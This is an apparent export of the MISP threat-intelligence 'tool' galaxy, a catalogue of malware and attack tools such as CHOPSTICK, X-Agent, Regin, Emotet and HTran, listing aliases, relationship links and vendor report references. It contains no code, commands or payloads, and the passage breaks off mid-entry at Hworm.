http://download01.norman.no/documents/ThemanyfacesofGh0stRat.pdf
https://mandiant.widen.net/s/zvmfw5fnjs/apt43-report

Fakem RAT

Fakem RAT makes their network traffic look like well-known protocols (e.g. Messenger traffic, HTML pages).

The tag is: *misp-galaxy:tool="Fakem RAT"*

Fakem RAT is also known as:

- FAKEM

View relationships graph

Fakem RAT has relationships with:

- similar: misp-galaxy:malpedia="Terminator RAT" with estimative-language:likelihood-probability="likely"

Table 24323. Table References

Links
http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp-fakem-rat.pdf

MFC Huner

The tag is: *misp-galaxy:tool="MFC Huner"*

MFC Huner is also known as:

- Hupigon
- BKDR_HUPIGON

Table 24324. Table References

Links
http://blog.trendmicro.com/trendlabs-security-intelligence/japan-us-defense-industries-among-targeted-entities-in-latest-attack/

Blackshades

Blackshades Remote Access Tool targets Microsoft Windows operating systems. Authors were arrested in 2012 and 2014.

The tag is: *misp-galaxy:tool="Blackshades"*

View relationships graph

Blackshades has relationships with:

- similar: misp-galaxy:rat="Blackshades" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="BlackShades" with estimative-language:likelihood-probability="almost-certain"

Table 24325. Table References

Links
https://www.justice.gov/usao-sdny/pr/manhattan-us-attorney-and-fbi-assistant-director-charge-announce-charges-connection
https://blog.malwarebytes.org/intelligence/2012/06/you-dirty-rat-part-2-blackshades-net/

CHOPSTICK

backdoor used by apt28

The tag is: *misp-galaxy:tool="CHOPSTICK"*

CHOPSTICK is also known as:

- webhp
- SPLM
- (.v2 fysbis)

View relationships graph

CHOPSTICK has relationships with:

- similar: misp-galaxy:mitre-malware="CHOPSTICK - S0023" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:mitre-malware="X-Agent for Android - S0314" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:tool="X-Agent" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="X-Agent (Android)" with estimative-language:likelihood-probability="likely"

Table 24326. Table References

Links
https://www2.fireeye.com/rs/848-DID-242/images/APT28-Center-of-Storm-2017.pdf

EVILTOSS

backdoor used by apt28

Sedreco serves as a spying backdoor; its functionalities can be extended with dynamically loaded plugins. It is made up of two distinct components: a dropper and the persistent payload installed by this dropper. We have not seen this component since April 2016.

The tag is: *misp-galaxy:tool="EVILTOSS"*

EVILTOSS is also known as:

- Sedreco
- AZZY
- ADVSTORESHELL
- NETUI

View relationships graph

EVILTOSS has relationships with:

- similar: misp-galaxy:mitre-malware="ADVSTORESHELL - S0045" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Sedreco" with estimative-language:likelihood-probability="likely"

Table 24327. Table References

Links
https://www2.fireeye.com/rs/848-DID-242/images/APT28-Center-of-Storm-2017.pdf

GAMEFISH

backdoor

The tag is: *misp-galaxy:tool="GAMEFISH"*

GAMEFISH is also known as:

- Sednit
- Seduploader
- JHUHUGIT
- Sofacy

View relationships graph

GAMEFISH has relationships with:

- similar: misp-galaxy:mitre-malware="JHUHUGIT - S0044" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:android="Sofacy" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:tool="SOURFACE" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:tool="CORESHELL" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:mitre-malware="Komplex - S0162" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Komplex" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Seduploader" with estimative-language:likelihood-probability="likely"

Table 24328. Table References

Links
https://www2.fireeye.com/rs/848-DID-242/images/APT28-Center-of-Storm-2017.pdf

SOURFACE

downloader - Older version of CORESHELL

The tag is: *misp-galaxy:tool="SOURFACE"*

SOURFACE is also known as:

- Sofacy

View relationships graph

SOURFACE has relationships with:

- similar: misp-galaxy:mitre-malware="CORESHELL - S0137" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:tool="CORESHELL" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:android="Sofacy" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:mitre-malware="JHUHUGIT - S0044" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:tool="GAMEFISH" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:mitre-malware="Komplex - S0162" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Komplex" with estimative-language:likelihood-probability="likely"

- similar: misp-galaxy:malpedia="Seduploader" with estimative-language:likelihood-probability="likely"

Table 24329. Table References

Links
https://www2.fireeye.com/rs/848-DID-242/images/APT28-Center-of-Storm-2017.pdf

OLDBAIT

credential harvester

The tag is: *misp-galaxy:tool="OLDBAIT"*

OLDBAIT is also known as:

- Sasfis
- BackDoor-FDU
- IEChecker

View relationships graph

OLDBAIT has relationships with:

- similar: misp-galaxy:mitre-malware="OLDBAIT - S0138" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="OLDBAIT" with estimative-language:likelihood-probability="almost-certain"

Table 24330. Table References

Links
https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/troj_sasfis.tl
https://www2.fireeye.com/rs/848-DID-242/images/APT28-Center-of-Storm-2017.pdf

CORESHELL

downloader - Newer version of SOURFACE

The tag is: *misp-galaxy:tool="CORESHELL"*

CORESHELL is also known as:

- Sofacy

View relationships graph

CORESHELL has relationships with:

- similar: misp-galaxy:mitre-malware="CORESHELL - S0137" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:tool="SOURFACE" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:android="Sofacy" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:mitre-malware="JHUHUGIT - S0044" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:tool="GAMEFISH" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:mitre-malware="Komplex - S0162" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Komplex" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Seduploader" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Coreshell" with estimative-language:likelihood-probability="almost-certain"

Table 24331. Table References

Links
https://www2.fireeye.com/rs/848-DID-242/images/APT28-Center-of-Storm-2017.pdf

Havex RAT

The tag is: *misp-galaxy:tool="Havex RAT"*

Havex RAT is also known as:

- Havex

View relationships graph

Havex RAT has relationships with:

- similar: misp-galaxy:mitre-malware="Backdoor.Oldrea - S0093" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Havex RAT" with estimative-language:likelihood-probability="likely"

KjW0rm

RAT initially written in VB.

The tag is: *misp-galaxy:tool="KjW0rm"*

View relationships graph

KjW0rm has relationships with:

- similar: misp-galaxy:rat="KjW0rm" with estimative-language:likelihood-probability="likely"

Table 24332. Table References

Links
https://www.sentinelone.com/blog/understanding-kjw0rm-malware-we-dive-in-to-the-tv5-cyber-attack/

TinyTyphon

The tag is: *misp-galaxy:tool="TinyTyphon"*

View relationships graph

TinyTyphon has relationships with:

- similar: misp-galaxy:malpedia="TinyTyphon" with estimative-language:likelihood-probability="likely"

Badnews

The tag is: *misp-galaxy:tool="Badnews"*

View relationships graph

Badnews has relationships with:

- similar: misp-galaxy:malpedia="BadNews" with estimative-language:likelihood-probability="almost-certain"

LURK

The tag is: *misp-galaxy:tool="LURK"*

View relationships graph

LURK has relationships with:

- similar: misp-galaxy:malpedia="Lurk" with estimative-language:likelihood-probability="almost-certain"

Oldrea

The tag is: *misp-galaxy:tool="Oldrea"*

AmmyAdmin

The tag is: *misp-galaxy:tool="AmmyAdmin"*

Matryoshka

The tag is: *misp-galaxy:tool="Matryoshka"*

View relationships graph

Matryoshka has relationships with:

- similar: misp-galaxy:rat="Matryoshka" with estimative-language:likelihood-probability="likely"

TinyZBot

The tag is: *misp-galaxy:tool="TinyZBot"*

View relationships graph

TinyZBot has relationships with:

- similar: misp-galaxy:mitre-malware="TinyZBot - S0004" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="TinyZbot" with estimative-language:likelihood-probability="almost-certain"

GHOLE

The tag is: *misp-galaxy:tool="GHOLE"*

View relationships graph

GHOLE has relationships with:

- similar: misp-galaxy:malpedia="Ghole" with estimative-language:likelihood-probability="almost-certain"

CWoolger

The tag is: *misp-galaxy:tool="CWoolger"*

FireMalv

The tag is: *misp-galaxy:tool="FireMalv"*

View relationships graph

FireMalv has relationships with:

- similar: misp-galaxy:malpedia="FireMalv" with estimative-language:likelihood-probability="likely"

Regin

Regin (also known as Prax or WarriorPride) is a sophisticated malware toolkit revealed by Kaspersky Lab, Symantec, and The Intercept in November 2014. The malware targets specific users of Microsoft Windows-based computers and has been linked to the US intelligence gathering agency NSA and its British counterpart, the GCHQ. The Intercept provided samples of Regin for download including malware discovered at Belgian telecommunications provider, Belgacom. Kaspersky Lab says it first became aware of Regin in spring 2012, but that some of the earliest samples date from 2003. The name Regin is first found on the VirusTotal website on 9 March 2011.

The tag is: *misp-galaxy:tool="Regin"*

Regin is also known as:

- Prax
- WarriorPride

View relationships graph

Regin has relationships with:

- similar: misp-galaxy:mitre-malware="Regin - S0019" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Regin" with estimative-language:likelihood-probability="likely"

Table 24333. Table References

Links
https://en.wikipedia.org/wiki/Regin_(malware)

Duqu

The tag is: *misp-galaxy:tool="Duqu"*

View relationships graph

Duqu has relationships with:

- similar: misp-galaxy:mitre-malware="Duqu - S0038" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="DuQu" with estimative-language:likelihood-probability="almost-certain"

Flame

The tag is: *misp-galaxy:tool="Flame"*

View relationships graph

Flame has relationships with:

- similar: misp-galaxy:mitre-malware="Flame - S0143" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Flame" with estimative-language:likelihood-probability="almost-certain"

Stuxnet

The tag is: *misp-galaxy:tool="Stuxnet"*

View relationships graph

Stuxnet has relationships with:

- similar: misp-galaxy:malpedia="Stuxnet" with estimative-language:likelihood-probability="likely"

EquationLaser

The tag is: *misp-galaxy:tool="EquationLaser"*

EquationDrug

The tag is: *misp-galaxy:tool="EquationDrug"*

View relationships graph

EquationDrug has relationships with:

- similar: misp-galaxy:malpedia="EquationDrug" with estimative-language:likelihood-probability="likely"

DoubleFantasy

The tag is: *misp-galaxy:tool="DoubleFantasy"*

TripleFantasy

The tag is: *misp-galaxy:tool="TripleFantasy"*

Fanny

The tag is: *misp-galaxy:tool="Fanny"*

View relationships graph

Fanny has relationships with:

- similar: misp-galaxy:malpedia="Fanny" with estimative-language:likelihood-probability="likely"

GrayFish

The tag is: *misp-galaxy:tool="GrayFish"*

Babar

The tag is: *misp-galaxy:tool="Babar"*

View relationships graph

Babar has relationships with:

- similar: misp-galaxy:malpedia="Babar" with estimative-language:likelihood-probability="likely"

Bunny

The tag is: *misp-galaxy:tool="Bunny"*

Casper

The tag is: *misp-galaxy:tool="Casper"*

View relationships graph

Casper has relationships with:

- similar: misp-galaxy:malpedia="Casper" with estimative-language:likelihood-probability="likely"

NBot

The tag is: *misp-galaxy:tool="NBot"*

Tafacalou

The tag is: *misp-galaxy:tool="Tafacalou"*

Tdrop

The tag is: *misp-galaxy:tool="Tdrop"*

Troy

The tag is: *misp-galaxy:tool="Troy"*

Tdrop2

The tag is: *misp-galaxy:tool="Tdrop2"*

ZXShell

ZxShell is a remote access trojan (RAT). It was developed in 2006 by the persona "LZX", who then publicly released the source code in 2007

The tag is: *misp-galaxy:tool="ZXShell"*

ZXShell is also known as:

- Sensode

View relationships graph

ZXShell has relationships with:

- similar: misp-galaxy:malpedia="ZXShell" with estimative-language:likelihood-probability="likely"

Table 24334. Table References

Links
http://www.fireeye.com/blog/uncategorized/2014/02/operation-snowman-deputydog-actor-compromises-us-veterans-of-foreign-wars-website.html
https://blogs.cisco.com/security/talos/opening-zxshell
https://www.secureworks.com/research/a-peek-into-bronze-unions-toolbox
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/lancefly-merdoor-zxshell-custom-backdoor

T9000

The tag is: *misp-galaxy:tool="T9000"*

View relationships graph

T9000 has relationships with:

- similar: misp-galaxy:mitre-malware="T9000 - S0098" with estimative-language:likelihood-probability="likely"

Table 24335. Table References

Links
http://researchcenter.paloaltonetworks.com/2016/02/t9000-advanced-modular-backdoor-uses-complex-anti-analysis-techniques/

T5000

The tag is: *misp-galaxy:tool="T5000"*

T5000 is also known as:

- Plat1

Table 24336. Table References

Links
http://www.cylance.com/techblog/Grand-Theft-Auto-Panda.shtml

Taidoor

The tag is: *misp-galaxy:tool="Taidoor"*

View relationships graph

Taidoor has relationships with:

- similar: misp-galaxy:mitre-malware="Taidoor - S0011" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="taidoor" with estimative-language:likelihood-probability="almost-certain"

Table 24337. Table References

Links
http://www.symantec.com/connect/blogs/trojantaidoor-takes-aim-policy-think-tanks

Swisyn

The tag is: *misp-galaxy:tool="Swisyn"*

Table 24338. Table References

Links
http://labs.alienvault.com/labs/index.php/2013/latest-adobe-pdf-exploit-used-to-target-uyghur-and-tibetan-activists/

Rekaf

The tag is: *misp-galaxy:tool="Rekaf"*

Table 24339. Table References

Links
https://www.proofpoint.com/us/exploring-bergard-old-malware-new-tricks

Scieron

The tag is: *misp-galaxy:tool="Scieron"*

View relationships graph

Scieron has relationships with:

- similar: misp-galaxy:malpedia="Scieron" with estimative-language:likelihood-probability="almost-certain"

SkeletonKey

The tag is: *misp-galaxy:tool="SkeletonKey"*

Table 24340. Table References

Links
http://www.secureworks.com/cyber-threat-intelligence/threats/skeleton-key-malware-analysis/

Skyipot

The tag is: *misp-galaxy:tool="Skyipot"*

Table 24341. Table References

Links
http://labs.alienvault.com/labs/index.php/2011/another-sykipot-sample-likely-targeting-us-federal-agencies/

Spindest

The tag is: *misp-galaxy:tool="Spindest"*

Table 24342. Table References

Links
http://www.threatconnect.com/news/threatconnect-enables-healthy-networking-biomed-life-sciences-industry/

Preshin

The tag is: *misp-galaxy:tool="Preshin"*

Oficla

The tag is: *misp-galaxy:tool="Oficla"*

View relationships graph

Oficla has relationships with:

- similar: misp-galaxy:botnet="BredoLab" with estimative-language:likelihood-probability="likely"

PCClient RAT

The tag is: *misp-galaxy:tool="PCClient RAT"*

Table 24343. Table References

Links
http://researchcenter.paloaltonetworks.com/2014/10/new-indicators-compromise-apt-group-nitro-uncovered/

Plexor

The tag is: *misp-galaxy:tool="Plexor"*

Mongall

The tag is: *misp-galaxy:tool="Mongall"*

View relationships graph

Mongall has relationships with:

- similar: misp-galaxy:malpedia="mongall" with estimative-language:likelihood-probability="almost-certain"

Table 24344. Table References

Links
https://www.fireeye.com/blog/threat-research/2014/09/the-path-to-mass-producing-cyber-attacks.html

NeD Worm

The tag is: *misp-galaxy:tool="NeD Worm"*

View relationships graph

NeD Worm has relationships with:

- similar: misp-galaxy:mitre-malware="DustySky - S0062" with estimative-language:likelihood-probability="likely"

Table 24345. Table References

Links
http://www.clearskysec.com/dustysky/

NewCT

The tag is: *misp-galaxy:tool="NewCT"*

View relationships graph

NewCT has relationships with:

- similar: misp-galaxy:malpedia="NewCT" with estimative-language:likelihood-probability="likely"

Table 24346. Table References

Links
https://www.fireeye.com/blog/threat-research/2014/09/the-path-to-mass-producing-cyber-attacks.html

Nflog

The tag is: *misp-galaxy:tool="Nflog"*

Table 24347. Table References

Links
https://www.fireeye.com/blog/threat-research/2014/09/the-path-to-mass-producing-cyber-attacks.html

Janicab

The tag is: *misp-galaxy:tool="Janicab"*

View relationships graph

Janicab has relationships with:

- similar: misp-galaxy:mitre-malware="Janicab - S0163" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Janicab (OS X)" with estimative-language:likelihood-probability="almost-certain"

Table 24348. Table References

Links
http://blog.avast.com/2013/07/22/multisystem-trojan-janicab-attacks-windows-and-macosx-via-scripts/

Jripbot

The tag is: *misp-galaxy:tool="Jripbot"*

Jripbot is also known as:

- Jiripbot

View relationships graph

Jripbot has relationships with:

- similar: misp-galaxy:malpedia="JripBot" with estimative-language:likelihood-probability="almost-certain"

Table 24349. Table References

Links
http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/butterfly-corporate-spies-out-for-financial-gain.pdf

Jolob

The tag is: *misp-galaxy:tool="Jolob"*

View relationships graph

Jolob has relationships with:

- similar: misp-galaxy:malpedia="Jolob" with estimative-language:likelihood-probability="likely"

Table 24350. Table References

Links
http://pwc.blogs.com/cyber_security_updates/2014/10/scanbox-framework-whos-affected-and-whos-using-it-1.html

IsSpace

The tag is: *misp-galaxy:tool="IsSpace"*

View relationships graph

IsSpace has relationships with:

- similar: misp-galaxy:malpedia="IsSpace" with estimative-language:likelihood-probability="likely"

Table 24351. Table References

Links
https://www.fireeye.com/blog/threat-research/2014/09/the-path-to-mass-producing-cyber-attacks.html

Emotet

The tag is: *misp-galaxy:tool="Emotet"*

Emotet is also known as:

- Geodo

View relationships graph

Emotet has relationships with:

- similar: misp-galaxy:banker="Geodo" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Emotet" with estimative-language:likelihood-probability="likely"

Table 24352. Table References

Links
https://securelist.com/analysis/publications/69560/the-banking-trojan-emotet-detailed-analysis/
https://www.forcepoint.com/blog/security-labs/thanks-giving-emotet
https://www.bleepingcomputer.com/news/security/emotet-returns-with-thanksgiving-theme-and-better-phishing-tricks/
https://cofense.com/major-us-financial-institutions-imitated-advanced-geodo-emotet-phishing-lures-appear-authentic-containing-proofpoint-url-wrapped-links/

Hoardy

The tag is: *misp-galaxy:tool="Hoardy"*

Hoardy is also known as:

- Hoarde
- Phindolp
- BS2005

View relationships graph

Hoardy has relationships with:

- similar: misp-galaxy:mitre-malware="BS2005 - S0014" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="BS2005" with estimative-language:likelihood-probability="likely"

Table 24353. Table References

Links
https://github.com/nccgroup/Royal_APT

Htran

HUC Packet Transmitter (HTran) is a proxy tool, used to intercept and redirect Transmission Control Protocol (TCP) connections from the local host to a remote host. This makes it possible to obfuscate an attacker's communications with victim networks. The tool has been freely available on the internet since at least 2009. HTran facilitates TCP connections between the victim and a hop point controlled by an attacker. Malicious cyber actors can use this technique to redirect their packets through multiple compromised hosts running HTran, to gain greater access to hosts in a network

The tag is: *misp-galaxy:tool="Htran"*

Htran is also known as:

- HUC Packet Transmitter
- HTran

View relationships graph

Htran has relationships with:

- similar: misp-galaxy:malpedia="HTran" with estimative-language:likelihood-probability="almost-certain"

Table 24354. Table References

Links
http://www.secureworks.com/research/threats/htran/
https://www.ncsc.gov.uk/content/files/protected_files/article_files/Joint%20report%20on%20publicly%20available%20hacking%20tools%20%28NCSC%29.pdf

HTTPBrowser

The tag is: *misp-galaxy:tool="HTTPBrowser"*

HTTPBrowser is also known as:

- TokenControl

View relationships graph

HTTPBrowser has relationships with:

- similar: misp-galaxy:mitre-malware="HTTPBrowser - S0070" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="HttpBrowser" with estimative-language:likelihood-probability="almost-certain"

Table 24355. Table References

Links
https://www.threatstream.com/blog/evasive-maneuvers-the-wekby-group-attempts-to-evade-analysis-via-custom-rop

Disgufa

The tag is: *misp-galaxy:tool="Disgufa"*

Elirks

The tag is: *misp-galaxy:tool="Elirks"*

View relationships graph

Elirks has relationships with:

- similar: misp-galaxy:malpedia="Elirks" with estimative-language:likelihood-probability="likely"

Snifula

The tag is: *misp-galaxy:tool="Snifula"*

Snifula is also known as:

- Ursnif

View relationships graph

Snifula has relationships with:

- similar: misp-galaxy:banker="Gozi" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Gozi" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Snifula" with estimative-language:likelihood-probability="likely"

Table 24356. Table References

Links
https://www.circl.lu/pub/tr-13/

Aumlib

The tag is: *misp-galaxy:tool="Aumlib"*

Aumlib is also known as:

- Yayih
- mswab
- Graftor

View relationships graph

Aumlib has relationships with:

- similar: misp-galaxy:malpedia="Graftor" with estimative-language:likelihood-probability="likely"

Table 24357. Table References

Links
http://www.cybersquared.com/killing-with-a-borrowed-knife-chaining-core-cloud-service-profile-infrastructure-for-cyber-attacks

CTRat

The tag is: *misp-galaxy:tool="CTRat"*

Table 24358. Table References

Links
http://www.fireeye.com/blog/technical/threat-intelligence/2014/07/spy-of-the-tiger.html

Emdivi

The tag is: *misp-galaxy:tool="Emdivi"*

Emdivi is also known as:

- Newsripper

View relationships graph

Emdivi has relationships with:

- similar: misp-galaxy:malpedia="Emdivi" with estimative-language:likelihood-probability="likely"

Table 24359. Table References

Links
http://www.symantec.com/connect/blogs/operation-cloudyomega-ichitaro-zero-day-and-ongoing-cyberespionage-campaign-targeting-japan

Etumbot

The tag is: *misp-galaxy:tool="Etumbot"*

Etumbot is also known as:

- Exploz
- Specfix
- RIPTIDE

View relationships graph

Etumbot has relationships with:

- similar: misp-galaxy:mitre-malware="RIPTIDE - S0003" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="EtumBot" with estimative-language:likelihood-probability="almost-certain"

Table 24360. Table References

Links
www.arbornetworks.com/asert/wp-content/uploads/2014/06/ASERT-Threat-Intelligence-Brief-2014-07-Illuminating-Etumbot-APT.pdf[www.arbornetworks.com/asert/wp-content/uploads/2014/06/ASERT-Threat-Intelligence-Brief-2014-07-Illuminating-Etumbot-APT.pdf]

Fexel

The tag is: *misp-galaxy:tool="Fexel"*

Fexel is also known as:

- Loneagent

Fysbis

The tag is: *misp-galaxy:tool="Fysbis"*

Table 24361. Table References

Links
http://researchcenter.paloaltonetworks.com/2016/02/a-look-into-fysbis-sofacys-linux-backdoor/

Hikit

The tag is: *misp-galaxy:tool="Hikit"*

View relationships graph

Hikit has relationships with:

- similar: misp-galaxy:mitre-malware="Hikit - S0009" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="HiKit" with estimative-language:likelihood-probability="almost-certain"

Table 24362. Table References

Links
https://blog.bit9.com/2013/02/25/bit9-security-incident-update/

Hancitor

The tag is: *misp-galaxy:tool="Hancitor"*

Hancitor is also known as:

- Tordal
- Chanitor
- Pony

View relationships graph

Hancitor has relationships with:

- similar: misp-galaxy:malpedia="Hancitor" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Pony" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:tool="Fareit" with estimative-language:likelihood-probability="likely"

Table 24363. Table References

Links
https://www.proofpoint.com/us/threat-insight/post/hancitor-ruckguv-reappear

Ruckguv

The tag is: *misp-galaxy:tool="Ruckguv"*

View relationships graph

Ruckguv has relationships with:

- similar: misp-galaxy:malpedia="Ruckguv" with estimative-language:likelihood-probability="likely"

Table 24364. Table References

Links
https://www.proofpoint.com/us/threat-insight/post/hancitor-ruckguv-reappear

HerHer Trojan

The tag is: *misp-galaxy:tool="HerHer Trojan"*

Table 24365. Table References

Links
http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/

Helminth backdoor

The tag is: *misp-galaxy:tool="Helminth backdoor"*

Table 24366. Table References

Links
http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/

HDRoot

The tag is: *misp-galaxy:tool="HDRoot"*

View relationships graph

HDRoot has relationships with:

- similar: misp-galaxy:malpedia="HDRoot" with estimative-language:likelihood-

probability="almost-certain"

Table 24367. Table References

Links
http://williamshowalter.com/a-universal-windows-bootkit/

IRONGATE

The tag is: *misp-galaxy:tool="IRONGATE"*

Table 24368. Table References

Links
https://www.fireeye.com/blog/threat-research/2016/06/irongate_ics_malware.html

ShimRAT

The tag is: *misp-galaxy:tool="ShimRAT"*

Table 24369. Table References

Links
https://foxitsecurity.files.wordpress.com/2016/06/fox-it_mofang_threatreport_tlp-white.pdf

X-Agent

APT28's second-stage persistent macOS backdoor. This backdoor component is known to have a modular structure featuring various espionage functionalities, such as key-logging, screen grabbing and file exfiltration. This component is available for Osx, Windows, Linux and iOS operating systems.

Xagent is a modular backdoor with spying functionalities such as keystroke logging and file exfiltration. Xagent is the group's flagship backdoor and heavily used in their operations. Early versions for Linux and Windows were seen years ago, then in 2015 an iOS version came out. One year later, an Android version was discovered and finally, in the beginning of 2017, an Xagent sample for OS X was described.

The tag is: *misp-galaxy:tool="X-Agent"*

X-Agent is also known as:

- XAgent

View relationships graph

X-Agent has relationships with:

- similar: misp-galaxy:mitre-malware="CHOPSTICK - S0023" with estimative-language:likelihood-

probability="likely"

- similar: misp-galaxy:mitre-malware="X-Agent for Android - S0314" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:tool="CHOPSTICK" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="X-Agent (Android)" with estimative-language:likelihood-probability="likely"

Table 24370. Table References

Links
http://blog.trendmicro.com/trendlabs-security-intelligence/pawn-storm-update-ios-espionage-app-found/
https://app.box.com/s/l7n781ig6n8wlf1aff5hgwbh4qoi5jqq
https://www.welivesecurity.com/2017/12/21/sednit-update-fancy-bear-spent-year/
https://objective-see.com/blog/blog_0x25.html#XAgent

X-Tunnel

The tag is: *misp-galaxy:tool="X-Tunnel"*

X-Tunnel is also known as:

- XTunnel

View relationships graph

X-Tunnel has relationships with:

- similar: misp-galaxy:mitre-malware="XTunnel - S0117" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="XTunnel" with estimative-language:likelihood-probability="likely"

Foozer

The tag is: *misp-galaxy:tool="Foozer"*

Table 24371. Table References

Links
https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/

WinIDS

The tag is: *misp-galaxy:tool="WinIDS"*

Table 24372. Table References

Links
https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/

DownRange

The tag is: *misp-galaxy:tool="DownRange"*

Table 24373. Table References

Links
https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/

Mad Max

The tag is: *misp-galaxy:tool="Mad Max"*

View relationships graph

Mad Max has relationships with:

- similar: misp-galaxy:botnet="Madmax" with estimative-language:likelihood-probability="likely"

Table 24374. Table References

Links
https://www.arbornetworks.com/blog/asert/mad-max-dga/

Crimson

Crimson is malware used as part of a campaign known as Operation Transparent Tribe that targeted Indian diplomatic and military victims

The tag is: *misp-galaxy:tool="Crimson"*

View relationships graph

Crimson has relationships with:

- similar: misp-galaxy:rat="Crimson" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:mitre-malware="Crimson - S0115" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Crimson RAT" with estimative-language:likelihood-probability="likely"

Table 24375. Table References

Links

https://www.proofpoint.com/sites/default/files/proofpoint-operation-transparent-tribe-threat-insight-en.pdf
https://www.amnesty.org/download/Documents/ASA3383662018ENGLISH.PDF

Prikormka

Operation Groundbait based on our research into the Prikormka malware family. This includes detailed technical analysis of the Prikormka malware family and its spreading mechanisms, and a description of the most noteworthy attack campaigns.

The tag is: *misp-galaxy:tool="Prikormka"*

View relationships graph

Prikormka has relationships with:

- similar: misp-galaxy:mitre-malware="Prikormka - S0113" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Prikormka" with estimative-language:likelihood-probability="almost-certain"

Table 24376. Table References

Links
http://www.welivesecurity.com/wp-content/uploads/2016/05/Operation-Groundbait.pdf

NanHaiShu

This whitepaper details a malicious program we identify as NanHaiShu. Based on our analysis, the threat actor behind this malware targets government and private-sector organizations.

The tag is: *misp-galaxy:tool="NanHaiShu"*

View relationships graph

NanHaiShu has relationships with:

- similar: misp-galaxy:mitre-malware="NanHaiShu - S0228" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="NanHaiShu" with estimative-language:likelihood-probability="almost-certain"

Table 24377. Table References

Links
https://www.f-secure.com/documents/996508/1030745/nanhaishu_whitepaper.pdf

Umbreon

Umbreon (sharing the same name as the Pokémon) targets Linux systems, including systems running both Intel and ARM processors, expanding the scope of this threat to include embedded devices as well.

The tag is: *misp-galaxy:tool="Umbreon"*

View relationships graph

Umbreon has relationships with:

- similar: misp-galaxy:mitre-malware="Umbreon - S0221" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Umbreon" with estimative-language:likelihood-probability="likely"

Table 24378. Table References

Links
http://blog.trendmicro.com/trendlabs-security-intelligence/pokemon-themed-umbreon-linux-rootkit-hits-x86-arm-systems/

Odinaff

Odinaff is typically deployed in the first stage of an attack, to gain a foothold onto the network, providing a persistent presence and the ability to install additional tools onto the target network. These additional tools bear the hallmarks of a sophisticated attacker which has plagued the financial industry since at least 2013–Carbanak. This new wave of attacks has also used some infrastructure that has previously been used in Carbanak campaigns.

The tag is: *misp-galaxy:tool="Odinaff"*

View relationships graph

Odinaff has relationships with:

- similar: misp-galaxy:malpedia="Odinaff" with estimative-language:likelihood-probability="likely"

Table 24379. Table References

Links
https://www.symantec.com/connect/blogs/odinaff-new-trojan-used-high-level-financial-attacks

Hworm

Unit 42 has observed a new version of Hworm (or Houdini) being used within multiple attacks. This blog outlines technical details of this new Hworm version and documents an attack campaign

making use of the backdoor. Of the samples used in this attack, the first we observed were June 2016, while as-of publication we were still seeing attacks as recently as mid-October, suggesting that this is likely an active, ongoing campaign.

The tag is: *misp-galaxy:tool="Hworm"*

Hworm is also known as:

- Houdini

View relationships graph

Hworm has relationships with:

